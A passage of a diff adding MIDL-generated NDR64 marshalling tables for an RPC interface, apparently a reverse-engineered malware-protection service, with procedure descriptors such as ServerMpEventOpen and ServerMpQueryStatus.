FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + (NDR64_UINT16) 20 /* 0x14 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag53 + }, + { + /* Struct_970_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag48_t __midl_frag48 = +{ +/* Proc5_ServerMpEventQueryNotification */ + { + /* Proc5_ServerMpEventQueryNotification */ /* procedure Proc5_ServerMpEventQueryNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag42_t __midl_frag42 = +{ +/* Proc4_ServerMpEventClose */ + { + /* Proc4_ServerMpEventClose */ /* procedure Proc4_ServerMpEventClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag36_t __midl_frag36 = +{ +/* Struct_16_t */ + { + /* Struct_16_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag30_t __midl_frag30 = +{ +/* Proc3_ServerMpEventOpen */ + { + /* Proc3_ServerMpEventOpen */ /* procedure Proc3_ServerMpEventOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag36, + { + /* arg_5 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag1288, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag26_t __midl_frag26 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 88 /* 0x58 */ + } +}; + +static const __midl_frag21_t __midl_frag21 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag17_t __midl_frag17 = +{ +/* Struct_144_t */ + { + /* Struct_144_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_144_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 432 /* 0x1b0 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_78_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag21 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* Struct_58_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag80 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_78_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag21 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* Struct_58_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag80 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag26 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag16_t __midl_frag16 = +{ +/* *Struct_144_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag17 +}; + +static const __midl_frag13_t __midl_frag13 = +{ +/* Proc2_ServerMpQueryStatus */ + { + /* Proc2_ServerMpQueryStatus */ /* procedure Proc2_ServerMpQueryStatus */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag17, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag8_t __midl_frag8 = +{ +/* Proc1_ServerMpDisableFeature */ + { + /* Proc1_ServerMpDisableFeature */ /* procedure Proc1_ServerMpDisableFeature */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 